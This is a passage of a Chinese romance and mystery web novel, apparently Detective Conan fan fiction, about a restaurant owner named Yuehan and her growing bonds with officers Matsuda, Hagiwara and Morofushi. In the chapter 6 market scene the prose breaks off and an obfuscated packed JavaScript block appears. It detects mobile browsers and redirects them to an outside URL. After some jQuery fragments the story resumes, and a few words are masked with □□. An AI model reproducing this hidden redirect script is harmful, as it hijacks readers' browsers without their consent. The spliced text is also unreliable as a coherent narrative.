夕阳西下,金色的余晖将天空染成了温暖的橙红色。三人并肩走在街头,萩原研二在一旁兴致勃勃地说着刚才拆弹的惊险过程,语气夸张,引得玥涵不时笑出声来;松田阵平则走在玥涵身边,安静地听着,偶尔看向她的眼神,带着淡淡的温柔。晚风拂过,卷起地上的落叶,空气中弥漫着温馨而惬意的气息。 涵味居的灯光早已亮起,温暖的光晕透过玻璃窗洒在街头,像一盏指引方向的明灯。林晚看到他们进来,立刻笑着迎了上来:“玥涵姐,你回来啦!松田警官,萩原警官,快请坐!” “林晚,给我们来两笼小笼包,两碗馄饨,再炒两个小菜。”玥涵笑着吩咐道,然后带着松田阵平和萩原研二坐在靠窗的位置。 很快,热气腾腾的小笼包和馄饨就端上了桌。萩原研二迫不及待地拿起筷子,咬了一口小笼包,满足地眯起了眼睛:“还是你做的味道最正宗!简直是人间美味!” 松田阵平则慢条斯理地吃着馄饨,目光偶尔落在玥涵身上。看到她忙碌的身影,看到她和林晚默契地配合着,看到她脸上洋溢着的安稳笑容,他的心中泛起阵阵暖意。这个女孩,从最初那个在街头无措的陌生人,到如今拥有了自己的小餐馆,拥有了安稳的生活,也一点点走进了他的心里。 爆炸案落幕的第三晚,店里特意提前打烊,成了小范围的庆祝专场。诸伏景光亲手做的栗子蛋糕摆在餐桌中央,奶油上点缀着新鲜的草莓,安室透正拿着叉子,和萩原研二抢最后一块蛋糕,两人拌嘴的声音清脆又热闹。 玥涵坐在松田阵平身边,指尖被他温热的手掌紧紧握着。他刚结束警视厅的收尾工作,身上还带着淡淡的消毒水味,却依旧第一时间赶了过来,把剥好的虾壳整齐地堆在餐盘边缘,再将去壳的虾仁放进她碗里。“慢点吃,没人跟你抢。”他的声音低沉柔和,眼神落在她身上时,满是化不开的宠溺。 “说起来,这次爆炸案能这么顺利解决,玥涵功不可没。”诸伏景光放下茶杯,温和的目光扫过玥涵,语气里满是感激,“如果不是你及时提醒备用□□,后果不堪设想。” “是啊是啊!”萩原研二咽下嘴里的蛋糕,附和道,“玥涵你简直是我们的幸运星!以后我们□□处理班的下午茶,就定点你家涵味居了!” 玥涵笑着摇头,拿起一块桂花糕递给他:“随时欢迎。不过你们执行任务要注意安全,我可不想我的店变成‘伤心地’。”她说着,眼神不自觉地掠过松田阵平,带着一丝不易察觉的担忧。她知道,这只是暂时的平静,黑衣组织的阴影还未真正降临,他们未来要面对的,是更凶险的挑战。 松田阵平察觉到她情绪的细微变化,指尖轻轻捏了捏她的手心,无声地传递着安抚。他抬眸看向众人,语气认真:“以后执行任务,大家都要多留个心眼。这次的凶手虽然落网了,但城市里还藏着不少隐患,我们不能掉以轻心。” 安室透的眼神瞬间变得凝重,他放下叉子,点了点头:“松田说得对。最近我在调查一些旧案时,发现有不明势力在暗中活动,行事风格很隐秘,不像是普通的犯罪团伙。”他没有明说黑衣组织,却让在场的人都感受到了一丝紧迫感——诸伏景光作为卧底,对此更是深有体会,只是碍于身份,无法过多透露。 聚餐的氛围渐渐从热闹变得沉稳,大家默契地不再谈论轻松的话题,转而交流着各自掌握的异常线索。玥涵安静地听着,将他们提到的每一个细节都记在心里。她知道,自己不能再只依靠系统的预警,必须主动掌握更多信息,才能更好地和松田阵平并肩作战,守护好身边的人。 晚上十点,聚餐结束。安室透和诸伏景光率先离开,萩原研二识趣地找了个借口先走,把独处的空间留给松田阵平和玥涵。松田阵平牵着玥涵的手,慢慢走在回家的路上。晚风带着夏夜的凉意,吹起她的发梢,他下意识地将她往身边拉了拉,用自己的身体为她挡住晚风。 “在想什么?”松田阵平低头看她,月光洒在她脸上,勾勒出柔和的轮廓 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接下来的几天,涵味居的生意依旧红火,却多了几分隐秘的警惕。玥涵让林晚留意店里的可疑客人,尤其是那些穿着黑色风衣、行为诡异的人;同时,她联系陈默,让星涵科技加大对网络上不明势力相关信息的监控力度。松田阵平也会在每天下班后来到店里,陪她一起关店,送她回家,偶尔还会给她讲一些警队里的侦查技巧,教她如何在危险来临时保护自己。 这天下午,涵味居来了一位特殊的客人。男人穿着黑色风衣,戴着黑色礼帽,脸上戴着口罩,只露出一双冰冷的眼睛,扫视着店里的环境。他走到靠窗的位置坐下,声音低沉沙哑:“一杯黑咖啡,不加糖不加奶。” 林晚察觉到不对劲,悄悄走到玥涵身边,小声说:“玥涵姐,那个人看起来好奇怪。” 玥涵的心脏瞬间提到了嗓子眼,脑海中响起系统尖锐的预警声:“危险预警!检测到黑衣组织成员气息!目标人物:琴酒(伪装状态),危险等级:S级!” 琴酒!玥涵的身体猛地一僵,指尖冰凉。她强压下心中的恐惧,对林晚使了个眼色,示意她不要慌张,然后亲自端着一杯黑咖啡走了过去。“您的咖啡。”她将咖啡放在桌上,语气尽量保持平静,眼神却下意识地避开对方冰冷的目光。 “这家店的味道,倒是不错。”琴酒拿起咖啡杯,轻轻抿了一口,目光却透过口罩,紧紧锁定着玥涵,“听说,前段时间米花市政大楼的爆炸案,你帮了警方不少忙?” 玥涵的心跳瞬间加速,后背渗出冷汗。他怎么会知道这件事?难道是冲着自己来的?她强装镇定,笑了笑:“先生您说笑了,我只是个普通的餐馆老板,怎么可能帮到警方?大概是您记错了。” “是吗?”琴酒的语气带着一丝嘲讽,眼神愈发冰冷,“普通的餐馆老板,能准确地知道炸弹的备用□□?能调动科技公司的资源协助警方查案?”他的每一句话,都像一把尖刀,刺向玥涵的伪装。 玥涵的脸色瞬间变得苍白,她知道,自己已经被怀疑了。她下意识地后退了一步,手悄悄摸向口袋里的手机,想要给松田阵平打电话。就在这时,琴酒突然站起身,快步走到她面前,一只手抓住她的手腕,力道大得几乎要捏碎她的骨头。 “你到底是什么人?和警方是什么关系?”琴酒的声音压低,带着致命的压迫感,“不说实话,后果可不是你能承受的。” “放开她!”熟悉的冷冽声线响起,松田阵平快步冲进店里,手中的手铐已经打开,眼神锐利如刀,死死地盯着琴酒。他刚结束巡逻,路过涵味居时,看到店里的情况不对劲,立刻冲了进来。 琴酒察觉到松田阵平的气场,眼中闪过一丝警惕,却没有立刻松手。他冷笑一声,凑近玥涵的耳边,用只有两人能听到的声音说:“提醒你一句,离那些警察远点,否则,下次就不是警告这么简单了。”说完,他猛地松开玥涵的手腕,转身快步走出了涵味居,很快就消失在巷弄的尽头。 松田阵平立刻追了出去,却早已不见琴酒的身影。他皱着眉头,转身回到店里,快步走到玥涵身边,看到她手腕上清晰的红痕,心疼又愤怒:“你怎么样?有没有受伤?” 玥涵摇了摇头,声音带着一丝不易察觉的颤抖:“我没事。”刚才琴酒的压迫感,让她至今心有余悸。她知道,黑衣组织已经注意到她了,这意味着,她和松田阵平,还有身边的伙伴们,都将陷入危险之中。 松田阵平轻轻握住她受伤的手腕,小心翼翼地检查着,语气带着自责:“是我来晚了。”他拿出手机,立刻拨通了警队的电话,让他们调取涵味居周边的监控,追查那个黑衣男人的行踪。 林晚端来一杯温水,递给玥涵:“玥涵姐,你喝点水,压压惊。” 玥涵接过水杯,温热的触感从指尖传来,让她稍微冷静了一些。她看着松田阵平紧绷的下颌线,知道他此刻内心充满了愤怒和担忧。她轻轻拉了拉他的手,轻声说:“松田,别担心。我没事,而且,我们现在知道他们已经注意到我们了,以后多加防备就好。” 松田阵平放下手机,将她紧紧拥入怀中,下巴抵在她的发顶,声音低沉而坚定:“玥涵,我不会让你有事的。从现在起,我会寸步不离地保护你。无论那个组织有多强大,我都会和你一起面对。” 玥涵靠在他的怀里,听着他沉稳的心跳声,心中的恐惧渐渐消散。 6. 第 6 章 后厨里,不锈钢盆碰撞的轻响与水汽蒸腾的白雾交织,玥涵正低头核对食材清单,指尖划过泛黄的纸页,将虾仁、小葱、面粉的数量一一确认。鼻尖萦绕着新鲜面团的麦香与高汤的醇厚,这是她在这个陌生世界里,亲手搭建的安稳角落。 “叮铃——”门口的风铃被轻轻撞响,打破了后厨的宁静。不同于其他客人的轻缓脚步,一串带着几分桀骜与沉稳的脚步声由远及近,每一步都踩得恰到好处,熟悉得让玥涵的指尖微微一顿。她抬起头,透过后厨与前厅相隔的布帘缝隙望去,松田阵平穿着笔挺的警服,身姿挺拔地站在门口,墨色的发丝被晨光镀上一层浅金,深邃的眼眸精准地锁定了她的方向。 店里的伙计们瞬间安静了几分,纷纷偷偷用眼角余光打量这位特殊的客人。谁都知道,这位搜查一课的警官看着冷硬难接近,却是涵味居的常客,每次来都只点一碗馄饨,且必指定靠窗的那个老位置。松田阵平没理会周遭的目光,径直走到窗边坐下,指尖轻叩桌面,声音依旧是惯常的冷淡,却带着不容置疑的穿透力:“一份馄饨,多加香菜。” 玥涵放下手中的清单,系紧围裙走出后厨。她端着一只白瓷碗走过去,碗沿还沾着几滴晶莹的水珠,放在桌面时发出“嗒”的一声轻响。水汽袅袅升起,模糊了松田阵平的眉眼,也柔和了他脸上的冷硬线条。“刚执行完任务?”玥涵轻声问,目光不自觉地落在他袖口处那层淡淡的灰尘上——那是爆炸现场特有的硝烟与粉尘混合的痕迹。 松田阵平抬眸,深邃的眼眸里清晰地映着她的身影,像盛满了静谧的夜色。他沉默了片刻,没有回答她的问题,反而开门见山,语气里带着明显的审视:“你接近我和萩原,到底有什么目的?”话音落下的瞬间,他的指尖微微收紧,放在桌下的手不自觉地攥成了拳。他不是没有察觉到这个女孩的异常,她的出现太巧,每次都能在关键时刻恰到好处地出现,眼神里的担忧也不似作假,可这份过分的关注,总让他忍不住心生警惕。 玥涵没有回避他的目光,澄澈的眼眸里没有丝毫闪躲。她知道,自己无法透露穿越与系统的秘密,那份沉重的真相,她只能独自背负。“我需要你们的信任。”她的声音很轻,却带着不容置疑的坚定,“也想保护你们。我知道,你们未来会遇到很多危险。”她刻意说得模糊,却把最核心的心意传递了出去。阳光透过窗户落在她的脸上,纤长的睫毛投下淡淡的阴影,神情认真得让人心头一震。 松田阵平握着筷子的手猛地顿住,脑海里瞬间闪过无数画面——废弃工厂里,她主动上交证物时的坦荡;爆炸现场外围,她冷静地提醒路人远离危险的模样;夜市摊位前,她被城管驱赶时,却依旧护着摊位不卑不亢的姿态。那些碎片化的场景拼凑在一起,让他心中的疑虑渐渐消散。眼前的女孩,眼神干净得没有一丝杂质,那份想要保护他们的心意,真挚得无法伪装。 “我知道了。”松田阵平收回目光,低头舀起一勺馄饨送进嘴里。鲜香的汤汁在舌尖化开,温热的触感顺着喉咙滑下,驱散了执行任务后的疲惫。他没再多问,只是安静地吃着馄饨,长长的睫毛垂下来,遮住了眼底的情绪。玥涵站在一旁,看着他沉默吃饭的侧脸,心头涌上一股难以言喻的暖意。这个外冷内热的男人,总是喜欢用最不经意的方式,释放出藏在冷漠下的温柔。 后厨传来伙计的呼唤,玥涵转身走了进去。等她再次出来时,松田阵平已经吃完了馄饨,正拿着纸巾擦拭嘴角。他起身准备结账,目光却不经意间瞥到了柜台上的创可贴——那是昨天玥涵整理食材时,被菜刀划伤手指后剩下的,还没来得及收拾。他的脚步顿了顿,眼神微微柔和了几分。 “多少钱?”松田阵平走到柜台前,声音依旧冷淡,却比刚才柔和了些许。玥涵报了价格,他拿出钱包付钱,指尖在钱包里顿了顿,又掏出一张便签和一支笔,快速写下一串数字,放在了柜台上。“下次遇到麻烦,打我电话。”他的声音很低,带着一丝不易察觉的别扭,耳尖悄悄泛起一层薄红。没等玥涵回应,他便转身快步走出了店门,木质门帘被他的衣角带起,又缓缓落下,仿佛什么都没发生过。 玥涵拿起那张便签,指尖触碰到纸上刚劲有力的字迹,心脏不受控制地加速跳动起来。那串数字是他的私人号码,是他从未轻易向别人透露的隐私。她抬头望向窗外,松田阵平的身影已经消失在巷口,只留下一道挺拔的背影。阳光洒在便签上,墨迹渐渐干涸,却在她的心里,留下了一片滚烫的温度。 店里的伙计凑过来,笑着说:“老板,这位松田警官对你好像不一样哦。”玥涵的脸颊微微泛红,将便签小心翼翼地放进贴身的口袋里,嘴角忍不住扬起一抹浅浅的笑容。 玥涵正低头擦拭着刚消毒完的瓷碗,指尖划过碗沿细腻的纹路,脑海里却反复回响着三天前松田阵平离开时的那句话——“临时身份的事,我帮你问问区役所的朋友”。 她原本没抱太大希望,毕竟临时居住证明的办理流程繁琐,又涉及跨国身份的特殊情况。可松田阵平的效率,远比她想象中要高。手机震动的瞬间,玥涵几乎是立刻接起了电话,听筒里传来他惯常冷淡却清晰的声音:“身份的事搞定了,区役所那边已经审核通过,直接过去拿证就行。” “真的吗?太谢谢你了!”玥涵的声音忍不住带上了几分雀跃,指尖微微收紧。电话那头的松田阵平似乎轻笑了一声,那声轻笑很轻,像羽毛拂过心尖,转瞬即逝:“嗯。下班时间我会路过区役所附近,需要我顺便带你过去?” “不用不用,我自己过去就好!”玥涵连忙拒绝,脸颊微微发烫。她知道松田阵平执行任务已经够累了,不想再麻烦他。挂了电话,玥涵看着窗外明媚的阳光,心中涌起一股强烈的感激。她转身走进后厨,眼神落在橱柜里的抹茶粉和红豆上——松田阵平上次吃馄饨时,无意间提过一句喜欢微甜不腻的点心,她恰好记得。 接下来的一下午,后厨里都弥漫着抹茶与红豆混合的香甜气息。玥涵系着碎花围裙,专注地揉着面团,将煮得软糯的红豆仔细碾压成泥,再加入适量的糖调味。她的动作轻柔而认真,每一个步骤都做得格外细致,仿佛在雕琢一件珍贵的艺术品。林晚凑过来,看着她手中精致的点心胚子,笑着打趣:“玥涵姐,这是要做给谁吃啊?这么用心。” 玥涵的脸颊微微泛红,避开林晚探究的目光,轻声说:“给帮了我一个大忙的朋友。”林晚笑得更暧昧了:“是那位经常来吃馄饨的松田警官吧?我看出来了,他对你可不一样。”玥涵没有反驳,只是嘴角忍不住扬起一抹浅浅的笑容,手上的动作却更加认真了。 傍晚时分,夕阳渐渐西沉,将天空染成了温暖的橙红色。警视厅门口的人流渐渐稀疏,玥涵抱着一个精致的粉色点心盒,站在路边的梧桐树下,心跳有些不受控制地加速。微风拂过,卷起她的发梢,也带来了熟悉的脚步声。 她抬头望去,松田阵平穿着笔挺的警服,身姿挺拔地走了出来,墨色的发丝被夕阳镀上一层浅金,深邃的眼眸在人群中精准地锁定了她。他的身边,还跟着萩原研二,后者穿着休闲的便服,脸上带着爽朗的笑容,一眼就看到了站在树下的玥涵。 “松田警官!”玥涵快步走过去,将手中的点心盒递到松田阵平面前,声音带着一丝不易察觉的紧张,“谢谢你帮我办理身份,这个是我亲手做的抹茶红豆糕,你尝尝看。”她的指尖微微颤抖,生怕他不喜欢。 松田阵平接过点心盒,指尖不经意间碰到了她的手背,两人都下意识地顿了一下。他的指尖带着执行任务后的微凉,却让玥涵的脸颊瞬间升温,像被烫到一样轻轻缩回了手。空气中泛起淡淡的暧昧,连夕阳的光芒都仿佛变得温柔了几分。 “哟,松田,没想到你还会主动帮人办身份啊?”萩原研二在一旁看热闹,双手抱胸,笑着打趣,“玥涵小姐,你这点心可不能只给他一个人,我也要尝尝!不然我可要吃醋了。”他的语气夸张,眼神里却满是善意的调侃。 玥涵被他逗得笑了起来,紧张的情绪瞬间消散了大半。她从随身的包里又拿出一份早就准备好的桂花糕,递到萩原研二面前:“早就给你准备好了,萩原警官。知道你喜欢吃甜一点的,这个桂花糕应该合你的口味。” “哇,玥涵小姐你也太好了吧!”萩原研二惊喜地接过桂花糕,立刻打开包装拿出一块放进嘴里,满足地眯起了眼睛,“好吃!比我上次在甜品店买的还要好吃!松田,你快尝尝你的,玥涵小姐特意为你做的。” 松田阵平的目光落在玥涵带着笑意的脸上,眼神柔和了几分。他打开粉色的点心盒,一股浓郁的抹茶香气扑面而来。他拿起一块抹茶红豆糕,放进嘴里,细腻的口感在舌尖化开,微甜的味道恰到好处,没有丝毫腻感,正是他喜欢的口味。 “味道不错。”他低声说,声音比平时柔和了许多,深邃的眼眸里映着玥涵的身影,温柔几乎要溢出来。周围路过的同事纷纷投来好奇的目光,有几个相熟的还笑着吹起了口哨。松田阵平却毫不在意,仿佛周围的一切都与他无关,眼里只有眼前的女孩。 “喜欢就好。”玥涵的心跳漏了一拍,红着脸低下头,指尖轻轻攥着衣角。她能感受到松田阵平的目光,温暖而专注,让她的心里像揣了一只小兔子,怦怦直跳。 萩原研二将这一切看在眼里,嘴角扬起一抹了然的笑容。他几口吃完手中的桂花糕,拍了拍松田阵平的肩膀,笑着说:“好了好了,不打扰你们了。我还有点事,先走一步。松田,记得送玥涵小姐回家啊!”说完,他冲两人挤了挤眼睛,转身快步离开了。 现场只剩下松田阵平和玥涵两人,气氛瞬间变得有些微妙。松田阵平看着玥涵泛红的脸颊,喉结微微滚动了一下,主动开口:“晚上关店后,我送你回去。”这是他第一次主动提出护送,语气里带着一丝不易察觉的紧张。 玥涵猛地抬起头,对上他温柔的目光,脸颊更红了。她点了点头,声音细若蚊蚋:“好。” 松田阵平的嘴角勾起一抹浅浅的笑容,那是玥涵第一次看到他如此明显的笑容,像冰雪消融,阳光普照,让他原本冷硬的轮廓都变得柔和了许多。“我在这里等你。”他说,走到路边的长椅旁坐下,拿出手机,却没有低头看,而是将目光落在涵味居的方向,静静地等待着。 接下来的几个小时,玥涵在店里忙碌着,却总是忍不住透过窗户看向外面的长椅。松田阵平就那样安静地坐着,身姿挺拔,像一尊雕塑,却让她的心中充满了安稳。伙计们都看出了端倪,纷纷笑着打趣,让她的脸颊一直保持着淡淡的红晕。 终于,到了关店时间。玥涵快速收拾好东西,锁好店门,快步走到松田阵平身边。“让你久等了。”她轻声说。松田阵平站起身,自然地接过她手中的包,扛在自己肩上:“走吧。” 夜晚的街道格外安静,路灯将两人的身影拉得很长。松田阵平走在玥涵身边,步伐刻意放慢,与她保持着恰到好处的距离。两人没有说话,却并不觉得尴尬,只有淡淡的温馨在空气中流淌。偶尔有晚风吹过,带来阵阵凉意,松田阵平会下意识地将玥涵往自己身边拉一点,用自己的身体为她挡住晚风。 “今天……谢谢你。”玥涵打破了沉默,声音轻轻的,“不仅帮我办理了身份,还特意等我。” “不用谢。”松田阵平的声音低沉而温柔,“保护你,是应该的。”他顿了顿,补充道,“以后有任何麻烦,都可以给我打电话,我的号码一直有效。”他指的是上次留在涵味居的那张便签,语气里带着不容置疑的坚定。 玥涵的心中涌上一股暖流,她抬起头,看着身边的男人。月光洒在他的脸上,勾勒出他清晰的轮廓,深邃的眼眸里满是认真。她知道,这个外冷内热的男人,正在用自己的方式,一点点向她靠近,一点点为她撑起一片安稳的天地。 走到玥涵住处的楼下,松田阵平停下脚步,将包递还给她。“上去吧,早点休息。”他的声音很轻,带着一丝不易察觉的不舍。 玥涵接过包,点了点头,却没有立刻上楼。她抬头看着松田阵平,鼓起勇气说:“松田警官,明天……你还会来涵味居吃馄饨吗?” 松田阵平的眼中闪过一丝笑意,点了点头:“会。我还想吃你做的抹茶红豆糕。” 玥涵的脸上瞬间绽放出灿烂的笑容,像夜空中最亮的星星:“好!我明天一早就给你做!” 看着玥涵转身跑上楼的背影,松田阵平的嘴角一直保持着浅浅的笑容。直到看到她房间的灯亮起,他才转身离开。 玥涵穿着浅杏色的休闲外套,牵着林晚的手走在人群中,鼻尖萦绕着新鲜蔬菜的清香、水产的咸鲜和水果的甜香,整个人都被这鲜活的氛围包裹着。 “玥涵姐,这里的虾仁看起来好新鲜!比我们平时在市区买的品质好多了。”林晚指着一个水产摊位,眼睛亮晶晶的。玥涵走过去,弯腰拿起一只虾仁仔细查看,肉质紧实有弹性,虾壳光滑鲜亮,确实是上等的好货。“老板,这虾仁怎么卖?”她抬头询问,声音温柔却清晰,一下子就盖过了周围的嘈杂。 和老板谈好价格,玥涵让林晚帮忙盯着摊位,自己则拿出随身携带的食材清单,对照着逐一核对。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007636|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清单上的字迹工整清秀,每一项食材后面都标注着所需的数量和品质要求——这是她经营涵味居的底气,只有用最新鲜的食材,才能做出最地道的美味。她低头核对着,指尖划过“小葱、香菜、面粉”等字样,嘴角不自觉地扬起一抹浅浅的笑容,脑海里已经开始规划着下周的特色菜品。 就在这时,不远处突然传来一阵争执声,夹杂着几句粗鲁的谩骂,打破了市场的和谐氛围。玥涵下意识地抬起头,顺着声音望去,只见市场角落的一个过道里,三个穿着花衬衫、染着五颜六色头发的小混混正围着一个男人。为首的混混双手抱胸,仰着下巴,语气嚣张:“小子,识相点就把保护费交了!在这一片做生意,就得听我们的规矩!” 被围堵的男人穿着一件干净的浅灰色衬衫,袖口整齐地挽到小臂,露出线条流畅的手腕。他身形挺拔,即使被三个混混围住,也依旧站得笔直,气质沉稳得不像话。阳光透过市场顶棚的缝隙,落在他的脸上,勾勒出他柔和的眉眼,即使眉头微蹙,眼神里也没有丝毫慌乱,只有淡淡的疏离与警惕。 玥涵的心脏瞬间漏了一拍,脑海里立刻响起系统的提示音:“任务对象确认:诸伏景光,当前处于卧底前期调查阶段,伪装身份为普通公司职员,因暗中调查本地地下交易,被混混盯上索要保护费。触发支线任务:协助诸伏景光摆脱困境,建立初步信任。” 她立刻反应过来,诸伏景光现在的身份敏感,绝对不能暴露,更不能与混混发生正面冲突,否则不仅会打草惊蛇,还可能危及他的卧底任务。玥涵没有丝毫犹豫,拉着身边的林晚,快步朝着争执的方向走去。“林晚,等会儿跟着我就好,别说话。”她低声叮嘱,语气里带着不容置疑的坚定。林晚虽然有些害怕,但还是点了点头,紧紧跟在玥涵身后。 走近后,玥涵故意提高了音量,声音清亮又带着几分熟稔:“景光先生!你怎么在这里?我还以为你要晚点才到呢,害我和林晚等了好一会儿。”她说着,快步走到诸伏景光身边,自然地站到他身侧,同时不动声色地给了他一个眼神,示意他配合。 诸伏景光愣了一下,眼底闪过一丝疑惑,随即迅速反应过来。眼前的女孩眼神澄澈,带着明显的善意,显然是来帮他的。他立刻收起眼底的警惕,配合着露出一抹温和的笑容,语气歉意:“抱歉,玥涵小姐,路上遇到点小事耽搁了。本来想早点过来帮你挑选食材的,没想到让你久等了。”他精准地接住了玥涵抛过来的话茬,语气自然得仿佛两人真的早就约好。 为首的混混见状,眉头皱了起来,上下打量着玥涵和林晚。女孩看起来温柔无害,身边的小姑娘更是一脸怯懦,可她们的出现,却让原本处于劣势的男人多了几分底气。混混们对视一眼,心里打起了嘀咕——看这两人的互动,显然是认识很久的朋友,而且听女孩的语气,似乎还不止他们两个人。如果真的动手,万一对方还有帮手,自己这边未必占得到便宜。 “哼,算你运气好!”为首的混混撂下一句狠话,眼神凶狠地瞪了诸伏景光一眼,“下次再让我们遇到你,可就没这么容易了!”说完,他挥了挥手,带着另外两个混混,悻悻地离开了。直到他们的身影消失在市场的拐角处,玥涵悬着的心才终于落了下来,后背已经渗出了一层薄薄的冷汗。 “谢谢你。”诸伏景光的声音温柔,带着浓浓的感激。他看着玥涵,眼神里满是真诚,“如果不是你及时出现,我今天恐怕很难脱身。”刚才的情况虽然看似平静,但他心里清楚,一旦和那些混混发生冲突,后果不堪设想。眼前的女孩,无疑是帮了他一个大忙。 玥涵笑了笑,摆了摆手:“举手之劳而已,不用这么客气。”她拉着林晚,走到旁边的一个蔬菜摊位前,假装挑选蔬菜,同时压低声音说:“我看他们的样子,不像是善罢甘休的人,你接下来要小心一点。”她知道诸伏景光的卧底任务危险重重,多一句提醒,或许就能让他少一分风险。 诸伏景光心中一暖,看着玥涵认真挑选蔬菜的侧脸,阳光落在她的发梢上,镀上一层浅金的光晕,显得格外温暖。“我会注意的。”他轻声说,走到玥涵身边,帮她拿起一把青菜,“这个青菜看起来很新鲜,用来做馄饨馅应该很不错。”他似乎对食材也很有研究,挑选的青菜叶片翠绿,根部饱满,确实是优质品。 玥涵有些惊讶地看了他一眼:“你也懂食材?” “以前和朋友一起做过饭,多少了解一点。”诸伏景光笑着解释,语气自然,没有丝毫破绽。他的笑容很温柔,像春风拂过湖面,让人忍不住心生好感。林晚在一旁看着两人默契互动,悄悄拉了拉玥涵的衣角,眼神里带着几分八卦。 玥涵的脸颊微微泛红,连忙转移话题:“对了,我还没正式介绍自己。我叫玥涵,在米花町开了家小餐馆,叫涵味居。今天过来,是想采购一些新鲜的食材。”她说着,从随身的包里拿出一张早就准备好的名片,递到诸伏景光面前,“这是我的联系方式。如果你以后遇到什么麻烦,或者想吃点家常菜,随时可以打给我。” 诸伏景光接过名片,指尖触碰到卡片上细腻的纹路,上面印着“涵味居玥涵”的字样,还有一串清晰的电话号码。他低头看着名片,又抬头看向玥涵澄澈的眼眸,心中升起一丝莫名的信任。眼前的女孩,不仅善良勇敢,还带着一种让人安心的力量。他小心翼翼地将名片放进衬衫口袋里,轻声重复了一遍她的名字:“玥涵……好名字。” “你呢?还不知道你的名字。”玥涵问道。 “诸伏景光。”他轻声回答,目光温柔地看着玥涵,“以后如果有需要,也可以随时联系我。”他没有主动留下联系方式,但语气里的真诚,却让玥涵感受到了他的善意。 阳光透过市场的顶棚洒下来,落在两人身上,勾勒出温暖的轮廓。周围的吆喝声依旧嘈杂,却仿佛成了两人之间最温柔的背景音。玥涵拿起刚挑选好的蔬菜,对诸伏景光笑了笑:“我们还要继续采购食材,就不打扰你了。你自己多小心。” “好。”诸伏景光点了点头,看着玥涵牵着林晚的手,渐渐消失在人群中。他站在原地,摸了摸口袋里的名片,指尖传来的温度,让他的心中充满了暖意。他知道,自己今天不仅摆脱了困境,还遇到了一个值得信任的人。而这份在意外中萌芽的信任,也将成为他未来卧底生涯中,一份温暖的慰藉。 玥涵牵着林晚,继续在市场里采购食材。林晚终于忍不住,小声问道:“玥涵姐,你和那个诸伏先生早就认识吗?” 玥涵笑了笑,摇了摇头:“不认识,只是刚好遇到他有麻烦,就帮了一把。” 7. 第 7 章 玥涵正低头将刚调好的馄饨馅装进瓷盆,指尖沾着的肉末带着新鲜的腥甜。前厅里,伙计们正忙着招呼客人,喧闹的人声与碗筷碰撞的清脆声响,织就出一幅充满烟火气的日常画卷。 “玥涵姐,张叔又来了,还是老样子,一碗馄饨加两份小笼包。”林晚快步走进后厨,语气轻快地汇报。玥涵抬头笑了笑,拿起一旁备好的蒸笼:“知道了,告诉他稍等片刻,小笼包马上就好。”张叔是涵味居的常客,性格爽朗,每次来都会和玥涵聊上几句,说说街坊邻里的趣事,是店里最熟悉的面孔之一。 她端着热气腾腾的小笼包走出后厨时,张叔正坐在靠窗的位置,手里拿着一份报纸看得入神。“张叔,您的小笼包来了。”玥涵将餐盘放在桌上,语气温柔。张叔放下报纸,笑着点头:“辛苦你了,玥涵。你家的小笼包,还是一如既往的好吃。”他拿起筷子,咬了一口小笼包,汤汁在舌尖爆开,满足地眯起了眼睛。 “您喜欢就好。”玥涵笑着回应,正准备转身离开,却被张叔叫住。“玥涵啊,”他的语气突然变得有些凝重,眼神里带着一丝不易察觉的担忧,“最近总感觉有人跟着我,你说怪不怪?”玥涵心中一凛,停下脚步:“张叔,您有没有看清是什么人?有没有遇到什么特别的事?” 张叔摇了摇头,拿起茶杯抿了一口,语气含糊:“没看清,每次都是感觉有人在身后跟着,回头又什么都没有。也没遇到别的事,可能是我年纪大了,想多了吧。”他顿了顿,像是突然想起什么,补充道,“对了,昨天我好像看到了仓木,没想到他还在东京。”“仓木?”玥涵皱起眉头,这个名字她从未听过。张叔却没有再多说,只是摆了摆手:“没什么,都是过去的事了。” 玥涵虽然觉得奇怪,但见张叔不愿多说,也没有追问,转身回到了后厨。她以为这只是长辈随口的念叨,却没料到,这竟是她与张叔的最后一次对话。午后的阳光渐渐变得浓烈,涵味居的客流渐渐减少,玥涵正准备和林晚一起整理食材,突然听到外面传来一阵尖锐的警笛声,由远及近,最终停在了涵味居附近的巷口。 “发生什么事了?”林晚下意识地抓紧了玥涵的手臂,语气带着一丝紧张。玥涵心中涌起一股强烈的不安,她快步走到门口,撩开门帘望去——只见巷口拉起了一圈黄色的警戒线,几个穿着警服的警察正在维持秩序,周围围满了围观的路人。而那熟悉的、挺拔的身影,正站在警戒线内,眉头紧锁地与身边的同事交谈着,正是松田阵平。 玥涵的心跳瞬间提到了嗓子眼,一种不祥的预感在心底蔓延。她快步走到警戒线外,朝着松田阵平的方向望去。松田阵平似乎察觉到了她的目光,转头看了过来,深邃的眼眸里带着明显的凝重,看到她时,眼神微微波动了一下,随即示意身边的同事过来接替自己,快步走到了警戒线外。 “松田警官,里面发生什么事了?”玥涵的声音带着一丝不易察觉的颤抖。松田阵平看着她苍白的脸色,心中泛起一丝心疼,却还是如实告知:“里面发生了一起凶杀案,死者是……张叔。”“什么?!”玥涵的身体猛地一僵,难以置信地睁大了眼睛,“怎么会……他中午还在店里吃饭,还和我说话了……” 巨大的震惊让她一时间无法反应,脑海里反复回响着中午张叔说的话——“最近总感觉有人跟着我”“看到了仓木”。原来那些不是随口的念叨,而是他对危险的预警。玥涵的眼眶瞬间泛红,心中充满了愧疚,如果当时她能多追问几句,是不是就能发现异常,是不是就能避免悲剧的发生? 松田阵平察觉到她的情绪变化,轻轻拍了拍她的肩膀,语气低沉而温柔:“别自责,这不是你的错。”他知道玥涵的性格,善良又敏感,遇到这种事,很容易把责任归咎到自己身上。“我需要你回忆一下,张叔中午在店里的时候,有没有说过什么特别的话?有没有见过什么可疑的人?” 